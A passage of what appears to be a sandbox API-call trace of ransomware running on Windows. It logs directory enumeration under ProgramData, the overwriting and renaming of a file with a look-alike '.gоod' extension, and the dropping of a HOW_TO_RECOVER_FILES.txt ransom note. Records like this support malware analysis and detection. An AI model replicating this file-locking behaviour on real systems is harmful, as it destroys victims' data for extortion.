dwReserved1=0x0, cFileName="ClickToRunPackageLocker", cAlternateFileName="CLICKT~1")) returned 1 [0106.753] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1c05089, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xc1c05089, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xc1c05089, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ClickToRunPackageLocker", cAlternateFileName="CLICKT~1")) returned 0 [0106.753] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0106.753] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee840) returned 1 [0106.753] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee800) returned 1 [0106.753] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Office\\ClickToRunPackageLocker", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Office\\ClickToRunPackageLocker", lpFilePart=0x0) returned 0x37 [0106.753] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee6b0) returned 1 [0106.753] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Office\\ClickToRunPackageLocker" (normalized: "c:\\programdata\\microsoft\\office\\clicktorunpackagelocker"), fInfoLevelId=0x0, lpFileInformation=0x35c3f68 | out: lpFileInformation=0x35c3f68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1c05089, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xc1c05089, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xc1c05089, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0106.754] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee670) returned 1 [0106.754] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Office\\ClickToRunPackageLocker", nBufferLength=0x105, lpBuffer=0x1f9ee040, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Office\\ClickToRunPackageLocker", lpFilePart=0x0) returned 0x37 [0106.754] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee560) returned 1 [0106.754] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Office\\ClickToRunPackageLocker" (normalized: "c:\\programdata\\microsoft\\office\\clicktorunpackagelocker"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x20c [0106.754] GetFileType (hFile=0x20c) returned 0x1 [0106.754] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee4d0) returned 1 [0106.754] GetFileType (hFile=0x20c) returned 0x1 [0106.754] GetFileSize (in: hFile=0x20c, lpFileSizeHigh=0x1f9ee708 | out: lpFileSizeHigh=0x1f9ee708*=0x0) returned 0x0 [0106.754] CloseHandle (hObject=0x20c) returned 1 [0107.323] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Office\\ClickToRunPackageLocker", nBufferLength=0x105, lpBuffer=0x1f9ee040, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Office\\ClickToRunPackageLocker", lpFilePart=0x0) returned 0x37 [0107.323] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee560) returned 1 [0107.323] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Office\\ClickToRunPackageLocker" (normalized: "c:\\programdata\\microsoft\\office\\clicktorunpackagelocker"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0107.324] GetFileType (hFile=0x7dc) returned 0x1 [0107.324] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee4d0) returned 1 [0107.324] GetFileType (hFile=0x7dc) returned 0x1 [0107.324] WriteFile (in: hFile=0x7dc, lpBuffer=0x358f688*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f9ee548, lpOverlapped=0x0 | out: lpBuffer=0x358f688*, lpNumberOfBytesWritten=0x1f9ee548*=0x10, lpOverlapped=0x0) returned 1 [0107.325] CloseHandle (hObject=0x7dc) returned 1 [0107.325] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Office\\ClickToRunPackageLocker", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Office\\ClickToRunPackageLocker", lpFilePart=0x0) returned 0x37 [0107.325] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Office\\ClickToRunPackageLocker.gоod", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Office\\ClickToRunPackageLocker.gоod", lpFilePart=0x0) returned 0x3c [0107.325] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee670) returned 1 [0107.325] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Office\\ClickToRunPackageLocker" (normalized: "c:\\programdata\\microsoft\\office\\clicktorunpackagelocker"), fInfoLevelId=0x0, lpFileInformation=0x1f9ee750 | out: lpFileInformation=0x1f9ee750*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1c05089, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xc1c05089, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x3c2de3c8, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x10)) returned 1 [0107.325] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee630) returned 1 [0107.325] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Office\\ClickToRunPackageLocker" (normalized: "c:\\programdata\\microsoft\\office\\clicktorunpackagelocker"), lpNewFileName="C:\\ProgramData\\Microsoft\\Office\\ClickToRunPackageLocker.gоod" (normalized: "c:\\programdata\\microsoft\\office\\clicktorunpackagelocker.gоod")) returned 1 [0107.326] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Office\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f9ee350, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Office\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x38 [0107.326] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee870) returned 1 [0107.326] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Office\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\office\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7dc [0107.326] GetFileType (hFile=0x7dc) returned 0x1 [0107.326] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee7e0) returned 1 [0107.326] GetFileType (hFile=0x7dc) returned 0x1 [0107.327] WriteFile (in: hFile=0x7dc, lpBuffer=0x3592c68*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f9ee938, lpOverlapped=0x0 | out: lpBuffer=0x3592c68*, lpNumberOfBytesWritten=0x1f9ee938*=0x5d0, lpOverlapped=0x0) returned 1 [0107.328] CloseHandle (hObject=0x7dc) returned 1 [0107.329] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee900) returned 1 [0107.329] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning", nBufferLength=0x105, lpBuffer=0x1f9ee3a0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning", lpFilePart=0x0) returned 0x25 [0107.329] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\*", lpFindFileData=0x1f9ee620 | out: lpFindFileData=0x1f9ee620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfee8021d, ftLastAccessTime.dwHighDateTime=0x1d336df, ftLastWriteTime.dwLowDateTime=0xfee8021d, ftLastWriteTime.dwHighDateTime=0x1d336df, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0107.331] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfee8021d, ftLastAccessTime.dwHighDateTime=0x1d336df, ftLastWriteTime.dwLowDateTime=0xfee8021d, ftLastWriteTime.dwHighDateTime=0x1d336df, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0107.332] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x60aed0fe, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x60aed0fe, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x60aed0fe, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x70bb, dwReserved0=0x0, dwReserved1=0x0, cFileName="countrytable.xml", cAlternateFileName="")) returned 1 [0107.332] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1f7bd0, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1f7bd0, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}", cAlternateFileName="{18DCF~1")) returned 1 [0107.332] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d139154, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d139154, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d139154, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{1e05dd5d-a022-46c5-963c-b20de341170f}", cAlternateFileName="{1E05D~1")) returned 1 [0107.332] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d21de20, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{23cb517f-5073-4e96-a202-7fe6122a2271}", cAlternateFileName="{23CB5~1")) returned 1 [0107.332] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d244069, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d26a2f7, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d26a2f7, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}", cAlternateFileName="{268C4~1")) returned 1 [0107.333] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d21de20, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{33d78dbc-3db7-4398-8533-000d7c02e5d1}", cAlternateFileName="{33D78~1")) returned 1 [0107.333] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x217b4a1a, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x217b4a1a, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x217b4a1a, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}", cAlternateFileName="{3742E~1")) returned 1 [0107.333] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1d195e, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1d195e, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1d195e, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{7a30a9be-737f-47a1-a541-6e7b0761ed19}", cAlternateFileName="{7A30A~1")) returned 1 [0107.333] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1854d2, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1854d2, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1854d2, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{8d196d7f-3eef-48ad-8bea-be749f12d3ad}", cAlternateFileName="{8D196~1")) returned 1 [0107.333] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{8fb7d64e-70fc-4f9d-89ee-d486817534df}", cAlternateFileName="{8FB7D~1")) returned 1 [0107.333] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1854d2, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1854d2, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1854d2, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{99b095d8-5959-4820-bea7-7448c8427b4e}", cAlternateFileName="{99B09~1")) returned 1 [0107.334] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{9aec5bda-1e87-46b3-bb96-1a01c606555e}", cAlternateFileName="{9AEC5~1")) returned 1 [0107.334] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1f7bd0, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1f7bd0, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}", cAlternateFileName="{9DF6A~1")) returned 1 [0107.334] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}", cAlternateFileName="{B0B91~1")) returned 1 [0107.334] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d15f260, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d15f260, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d15f260, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{c5dc3753-b6c8-4057-b396-bf13d769311c}", cAlternateFileName="{C5DC3~1")) returned 1 [0107.334] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21b2205b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x21b6e507, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x21b6e507, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{c8a326e4-f518-4f14-b543-97a57e1a975e}", cAlternateFileName="{C8A32~1")) returned 1 [0107.334] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d15f260, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d15f260, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d15f260, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{ee4aac98-c174-4941-82b1-d121e493e4fb}", cAlternateFileName="{EE4AA~1")) returned 1 [0107.335] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d21de20, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{f11899f2-71ec-4621-9997-e17ae2f6eb26}", cAlternateFileName="{F1189~1")) returned 1 [0107.335] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2178e943, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x2178e943, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x2178e943, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}", cAlternateFileName="{FC01E~1")) returned 1 [0107.335] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2178e943, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x2178e943, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x2178e943, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}", cAlternateFileName="{FC01E~1")) returned 0 [0107.335] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0107.336] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee840) returned 1 [0107.336] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee800) returned 1 [0107.336] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee900) returned 1 [0107.336] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning", nBufferLength=0x105, lpBuffer=0x1f9ee3a0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning", lpFilePart=0x0) returned 0x25 [0107.336] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\*", lpFindFileData=0x1f9ee620 | out: lpFindFileData=0x1f9ee620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfee8021d, ftLastAccessTime.dwHighDateTime=0x1d336df, ftLastWriteTime.dwLowDateTime=0xfee8021d, ftLastWriteTime.dwHighDateTime=0x1d336df, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0107.337] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfee8021d, ftLastAccessTime.dwHighDateTime=0x1d336df, ftLastWriteTime.dwLowDateTime=0xfee8021d, ftLastWriteTime.dwHighDateTime=0x1d336df, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0107.337] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x60aed0fe, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x60aed0fe, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x60aed0fe, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x70bb, dwReserved0=0x0, dwReserved1=0x0, cFileName="countrytable.xml", cAlternateFileName="")) returned 1 [0107.337] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1f7bd0, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1f7bd0, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}", cAlternateFileName="{18DCF~1")) returned 1 [0107.337] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d139154, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d139154, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d139154, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{1e05dd5d-a022-46c5-963c-b20de341170f}", cAlternateFileName="{1E05D~1")) returned 1 [0107.337] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d21de20, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{23cb517f-5073-4e96-a202-7fe6122a2271}", cAlternateFileName="{23CB5~1")) returned 1 [0107.338] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d244069, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d26a2f7, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d26a2f7, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}", cAlternateFileName="{268C4~1")) returned 1 [0107.338] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d21de20, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{33d78dbc-3db7-4398-8533-000d7c02e5d1}", cAlternateFileName="{33D78~1")) returned 1 [0107.338] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, 